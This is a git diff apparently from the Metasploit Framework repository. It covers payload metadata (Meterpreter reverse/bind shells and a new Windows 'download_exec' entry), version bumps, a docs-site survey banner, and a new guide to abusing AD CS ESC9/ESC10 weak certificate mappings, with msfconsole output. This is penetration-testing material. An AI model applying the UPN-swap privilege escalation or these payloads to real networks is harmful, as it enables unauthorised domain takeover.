"is_install_path": true,
"ref_name": "linux/ppc/meterpreter_reverse_https",
@@ -246315,7 +247076,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppc/meterpreter_reverse_tcp",
@@ -246534,7 +247295,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/ppc64le/meterpreter_reverse_http",
@@ -246567,7 +247328,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/ppc64le/meterpreter_reverse_https",
@@ -246600,7 +247361,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppc64le/meterpreter_reverse_tcp",
@@ -246633,7 +247394,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/ppce500v2/meterpreter_reverse_http",
@@ -246666,7 +247427,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/ppce500v2/meterpreter_reverse_https",
@@ -246699,7 +247460,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppce500v2/meterpreter_reverse_tcp",
@@ -246999,7 +247760,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/x64/meterpreter_reverse_http",
@@ -247032,7 +247793,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/x64/meterpreter_reverse_https",
@@ -247065,7 +247826,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/meterpreter_reverse_tcp",
@@ -247929,7 +248690,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter_reverse_http",
@@ -247962,7 +248723,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter_reverse_https",
@@ -247995,7 +248756,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter_reverse_tcp",
@@ -248026,7 +248787,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-08 10:19:25 +0000",
"path": "/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/metsvc_bind_tcp",
@@ -248057,7 +248818,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-08 10:19:25 +0000",
"path": "/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/metsvc_reverse_tcp",
@@ -248686,7 +249447,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/zarch/meterpreter_reverse_http",
@@ -248719,7 +249480,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/zarch/meterpreter_reverse_https",
@@ -248752,7 +249513,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/zarch/meterpreter_reverse_tcp",
@@ -249081,7 +249842,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/osx/aarch64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "osx/aarch64/meterpreter_reverse_http",
@@ -249115,7 +249876,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/osx/aarch64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "osx/aarch64/meterpreter_reverse_https",
@@ -249149,7 +249910,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/osx/aarch64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "osx/aarch64/meterpreter_reverse_tcp",
@@ -249880,7 +250641,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "osx/x64/meterpreter_reverse_http",
@@ -249913,7 +250674,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "osx/x64/meterpreter_reverse_https",
@@ -249946,7 +250707,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "osx/x64/meterpreter_reverse_tcp",
@@ -250814,7 +251575,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-09 07:19:14 +0000",
"path": "/modules/payloads/singles/php/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "php/meterpreter_reverse_tcp",
@@ -256803,7 +257564,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-08 10:19:25 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_bind_named_pipe",
@@ -256838,7 +257599,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-08 10:19:25 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_bind_tcp",
@@ -256873,7 +257634,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-08 10:19:25 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_reverse_http",
@@ -256908,7 +257669,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-08 10:19:25 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_reverse_https",
@@ -256943,7 +257704,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-08 10:19:25 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_reverse_ipv6_tcp",
@@ -256978,7 +257739,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-08 10:19:25 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_reverse_tcp",
@@ -257009,7 +257770,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-08 10:19:25 +0000",
"path": "/modules/payloads/singles/windows/metsvc_bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/metsvc_bind_tcp",
@@ -257040,7 +257801,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-08 10:19:25 +0000",
"path": "/modules/payloads/singles/windows/metsvc_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/metsvc_reverse_tcp",
@@ -262311,6 +263072,37 @@
"stage_refname": "windows/x64/custom",
"stager_refname": "windows/x64/reverse_winhttps"
},
"payload_windows/x64/download_exec": {
"name": "Windows Download Execute",
"fullname": "payload/windows/x64/download_exec",
"aliases": [],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Muzaffer Umut ŞAHİN <mailatmayinlutfen@gmail.com>"
],
"description": "Downloads and executes the file from the specified url.",
"references": [],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-08-12 11:39:44 +0000",
"path": "/modules/payloads/singles/windows/x64/download_exec.rb",
"is_install_path": true,
"ref_name": "windows/x64/download_exec",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {},
"session_types": false,
"needs_cleanup": false,
"payload_type": 1,
"staged": false
},
"payload_windows/x64/encrypted_shell/reverse_tcp": {
"name": "Windows Command Shell, Encrypted Reverse TCP Stager",
"fullname": "payload/windows/x64/encrypted_shell/reverse_tcp",
@@ -263038,7 +263830,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-08 10:19:25 +0000",
"path": "/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/x64/meterpreter_bind_named_pipe",
@@ -263073,7 +263865,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-08 10:19:25 +0000",
"path": "/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/meterpreter_bind_tcp",
@@ -263108,7 +263900,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-08 10:19:25 +0000",
"path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "windows/x64/meterpreter_reverse_http",
@@ -263143,7 +263935,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-08 10:19:25 +0000",
"path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "windows/x64/meterpreter_reverse_https",
@@ -263178,7 +263970,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-08 10:19:25 +0000",
"path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/meterpreter_reverse_ipv6_tcp",
@@ -263213,7 +264005,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-08 10:19:25 +0000",
"path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/meterpreter_reverse_tcp",
@@ -279780,7 +280572,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-06-17 12:20:49 +0000",
"mod_time": "2025-07-28 12:09:20 +0000",
"path": "/modules/post/windows/gather/win_privs.rb",
"is_install_path": true,
"ref_name": "windows/gather/win_privs",
@@ -280774,7 +281566,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-06-17 12:20:49 +0000",
"mod_time": "2025-07-28 12:09:20 +0000",
"path": "/modules/post/windows/manage/make_token.rb",
"is_install_path": true,
"ref_name": "windows/manage/make_token",
+1 -2
View File
@@ -10,7 +10,7 @@
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema[7.1].define(version: 2025_02_04_172657) do
ActiveRecord::Schema[7.2].define(version: 2025_02_04_172657) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
@@ -803,5 +803,4 @@ ActiveRecord::Schema[7.1].define(version: 2025_02_04_172657) do
t.boolean "limit_to_network", default: false, null: false
t.boolean "import_fingerprint", default: false
end
end
+1 -1
View File
@@ -1 +1 @@
3.2.5
3.3.8
+5
View File
@@ -1,2 +1,7 @@
<link rel="stylesheet" href="{% link assets/css/main.css %}">
<!-- User Engagement Survey Banner -->
<div id="survey-banner">
<p>📣 We value your feedback — <a href="https://docs.google.com/forms/d/e/1FAIpQLSd9fgpXmyHOYViSaS6jK_6f1Y1nVSU_eA4UH-fWKYeO5HLvww/viewform" target="_blank" rel="noopener">take our 5-minute survey</a></p>
<button id="close-banner" aria-label="Close banner">&times;</button>
</div>
+41
View File
@@ -58,3 +58,44 @@ jtd.onReady(function(ready) {
}
}
});
/*
* Survey Banner Close Functionality
*
* This section handles the interactive behavior for the user engagement survey banner.
*/
(function() {
function initSurveyBanner() {
const banner = document.getElementById('survey-banner');
const closeButton = document.getElementById('close-banner');
const body = document.body;
if (!banner || !closeButton) {
return;
}
if (localStorage.getItem('surveyBannerClosed') === 'true') {
banner.style.display = 'none';
body.classList.add('banner-closed');
} else {
if (banner.offsetParent === null) {
body.appendChild(banner);
}
banner.style.display = 'flex';
banner.style.visibility = 'visible';
banner.style.opacity = '1';
body.classList.remove('banner-closed');
}
closeButton.addEventListener('click', function() {
banner.style.display = 'none';
body.classList.add('banner-closed');
localStorage.setItem('surveyBannerClosed', 'true');
});
}
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', initSurveyBanner);
} else {
initSurveyBanner();
}
})();
+74
View File
@@ -1,6 +1,80 @@
---
---
/*
* Survey Banner Styles
*
* This stylesheet contains all styling for the user engagement survey banner
* that appears at the top of all pages.
*/
body {
padding-top: 50px !important;
}
body.banner-closed {
padding-top: 0 !important;
}
#survey-banner {
background-color: #2c3e50;
color: white;
padding: 12px 20px;
text-align: center;
font-size: 13px;
position: fixed;
top: 0;
left: 0;
width: 100%;
z-index: 1000;
box-sizing: border-box;
border-bottom: 2px solid #34495e;
display: flex;
align-items: center;
justify-content: center;
gap: 20px;
}
#survey-banner p {
margin: 0;
line-height: 1.4;
flex: 1;
}
#survey-banner a {
color: #3498db;
text-decoration: underline;
}
#survey-banner a:hover {
color: #5dade2;
}
#close-banner {
background: none;
border: none;
color: white;
font-size: 20px;
cursor: pointer;
padding: 0;
width: 24px;
height: 24px;
display: flex;
align-items: center;
justify-content: center;
border-radius: 50%;
transition: background-color 0.2s ease;
flex-shrink: 0;
}
#close-banner:hover {
background-color: rgba(255, 255, 255, 0.1);
}
#close-banner:focus {
outline: 2px solid #3498db;
outline-offset: 2px;
}
#main-content p {
text-align: justify;
}
@@ -12,8 +12,10 @@ The pgp signatures below can be verified with the following [public key](https:/
| Download Link |File Type| SHA | PGP |
|--------------------------------------------------------------------------------------------------------------------------------------------------------------|-|---------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------|
| [metasploit-4.22.7-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc) |
| [metasploit-4.22.7-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc) |
| [metasploit-4.22.8-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc) |
| [metasploit-4.22.8-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc) |
| [metasploit-4.22.7-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-windows-x64-installer.exe.asc) |
| [metasploit-4.22.7-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-linux-x64-installer.run.asc) |
| [metasploit-4.22.6-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe.asc) |
| [metasploit-4.22.6-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run.asc) |
| [metasploit-4.22.5-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe.asc) |
@@ -14,6 +14,11 @@ flowchart TD
ESC8(ESC8)
ESC8 --> web_enrollment[<i>Issuance via Web Enrollment</i>]
end
subgraph esc_update_ldap_object[<b>esc_update_ldap_object</b>]
ESC9(ESC9) --> weak_certificate_mapping[<i>Issuance via Weak Certificate Mapping</i>]
ESC10(ESC10) --> weak_certificate_mapping[<i>Issuance via Weak Certificate Mapping</i>]
ESC16(ESC16) --> weak_certificate_mapping[<i>Issuance via Weak Certificate Mapping</i>]
end
subgraph icpr_cert[<b>icpr_cert</b>]
ESC1(ESC1)
ESC2(ESC2)
@@ -51,6 +56,8 @@ flowchart TD
update_template --> ESC1
web_enrollment --> PKINIT
web_enrollment --> SCHANNEL
weak_certificate_mapping --> PKINIT
weak_certificate_mapping --> SCHANNEL
```
The chart above showcases how one can go about attacking each of the AD CS vulnerabilities supported by Metasploit,
@@ -94,11 +101,13 @@ Later, additional techniques were disclosed by security researchers:
`StrongCertificateBindingEnforcement` not set to 2 or `CertificateMappingMethods` contains `UPN` flag.
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc9]]
- ESC10 - Weak Certificate Mappings - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
CertificateMappingMethods` contains `UPN` bit aka `0x4` or `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
StrongCertificateBindingEnforcement` is set to `0`.
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc10]]
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of
the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
- [Relaying to AD Certificate Services over
@@ -115,9 +124,10 @@ Later, additional techniques were disclosed by security researchers:
manipulation
- [EKUwu: Not just another AD CS ESC](https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc)
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc15]]
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC8, ESC13 and ESC15. As such, this page only
covers exploiting that subset of ESC flaws.
- ESC16 - Security Extension Disabled on CA (Globally)
- [ESC16 - Security Extension Disabled on CA](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally)
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC8, ESC9, ESC10, ESC13, ESC15 and ESC16.
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc16]]
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
as the diagram notes above. This is because in ESC1, one has control over the
@@ -921,6 +931,392 @@ msf auxiliary(server/relay/esc8) >
[*] Identity: MSFLAB\smcintyre - All targets relayed to
```
# Overview of exploiting ESC9 and ESC10 with Metasploit
ESC9 and ESC10 are similar certificate misconfiguration abuse techniques. They both involve having credentials of a
user, say "user1", who has GenericWrite privileges over "user2". This allows an attacker as "user1" to update either the
`userPrincipalName` or `dNSHostName` attribute of "user2". In order to update the attribute, we need to authenticate
via LDAP - which is a unique requirement compared to the other ESC techniques and is why there is a separated
module called `esc_update_ldap_object` which combines the attribute update via LDAP and certificate issuance process.
If the AD CS server is configured to allow "weak certificate mappings" when a user is requesting a certificate, the
server will check the `userPrincipalName` or the `dNSHostName` of the requesting identity and then issue a certificate
based on that value. Therefore if we can update "user2"'s UPN to "Administrator" and then request a certificate on
behalf of "user2" we can get an Administrator certificate (easy priv esc horay). That is the essence of both ESC9 and
ESC10 minus a number of details we'll get into.
It's also worth noting that the following registry keys and preventative measure and exploit techniques (ESC9 and 10) all stem from
Microsoft attempts to patch CVE-202226923 (aka Certifried). During this effort they implemented the new
`szOID_NTDS_CA_SECURITY_EXT` security extension for issued certificates, which will embed the `objectSid`
property of the requester, to help facilitate "strong certificate mappings", along with the following registry keys
and certificate template flags.
## StrongCertificateBindingEnforcement
Located in: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc`
This registry key defines what is considered weak and strong certificate mappings for **Kerberos authentication**. Possible values:
| Setting | Method | Strength assessment |
| ------- |--------------------------------------------------------------------------------------------------|---------------------|
| 0 | No strong certificate mapping checks are done | weak |
| 1 | Will use strong mapping if present though can be ignored if CT_FLAG_NO_SECURITY_EXTENSION is set | weak |
| 2 | Full Enforcement Mode (No weak mappings allowed) | strong |
In order to exploit these certificate misconfiguration we will need the value of `StrongCertificateBindingEnforcement` to be either `0` or `1`.
If the value is set to `2` we cannot exploit the misconfiguration using Kerberos authentication.
## CertificateMappingMethods
Located in: `HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel`
This registry key defines what is considered weak and strong certificate mappings for **Schannel authentication**. Possible values:
| Bit | Setting | Method | Strength assessment |
| --- | ------- | ------------------------------------- | ------------------- |
| 1 | 0x0001 | Subject/Issuer certificate mapping | weak |
| 2 | 0x0002 | Issuer certificate mapping | weak |
| 3 | 0x0004 | UPN certificate mapping | weak |
| 4 | 0x0008 | S4U2Self certificate mapping | strong |
| 5 | 0x0010 | S4U2Self explicit certificate mapping | strong |
| 1-5 | 0x001F | All of the above values | weak |
In order to exploit these certificate misconfiguration using Schannel authentication we will need the value of
`CertificateMappingMethods` to be `UPN certificate mapping` (or `All the above values`)
## CT_FLAG_NO_SECURITY_EXTENSION
Certificate templates now include an attribute called `msPKI-Enrollment-Flag`. The `msPKI-Enrollment-Flag` attribute
defines how certificate enrollment behaves by enabling or disabling specific behaviors via a bitmask of flags. If the
attribute contains the value:`0x00080000` (aka `CT_FLAG_NO_SECURITY_EXTENSION`) then the `szOID_NTDS_CA_SECURITY_EXT`
is not included and we can exploit weak certificate mappings even if `StrongCertificateBindingEnforcement` is set to 1.
## Changing userPrincipalName vs dNSHostName
Both can be used to exploit the certificate misconfiguration. It should be noted that normal users don't have a `dNSHostName`
attribute, only machine accounts do.
# Exploiting ESC9
## ESC9 Scenario 1
Pre-requisites:
- `StrongCertificateBindingEnforcement` is set to `1` (if it's set to `0` exploitation will still work but technically you're exploiting ESC10 in that case)
- A vulnerable certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag set.
- The same vulnerable template has the `SubjectAltRequireUPN` flag set.
- The same vulnerable template has a client authentication EKU
- We have credentials of a user who has `GenericWrite` privileges over another user that can enroll in the vulnerable template
```
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
...
[+] Template: ESC9-Template
[*] Distinguished Name: CN=ESC9-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=kerberos,DC=issue
[*] Manager Approval: Disabled
[*] Required Signatures: 0
[!] Potentially vulnerable to: ESC9 (the template is in a vulnerable configuration but in order to exploit registry key StrongCertificateBindingEnforcement must not be set to 2)
[*] Notes:
[*] * ESC9: Template has msPKI-Enrollment-Flag set to 0x80000 (CT_FLAG_NO_SECURITY_EXTENSION) and specifies a client authentication EKU and user1 has write privileges over user2 and the template has a subjectAltName (UPN or DNS) requirement
[*] Certificate Template Write-Enabled SIDs:
[*] * S-1-5-21-2324486357-3075865580-3606784161-1602 (user1)
[*] * S-1-5-21-2324486357-3075865580-3606784161-1603 (user2)
[*] * S-1-5-11 (Authenticated Users)
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-2324486357-3075865580-3606784161-1602 (user1)
[*] * S-1-5-21-2324486357-3075865580-3606784161-1603 (user2)
[*] * S-1-5-11 (Authenticated Users)
...
```
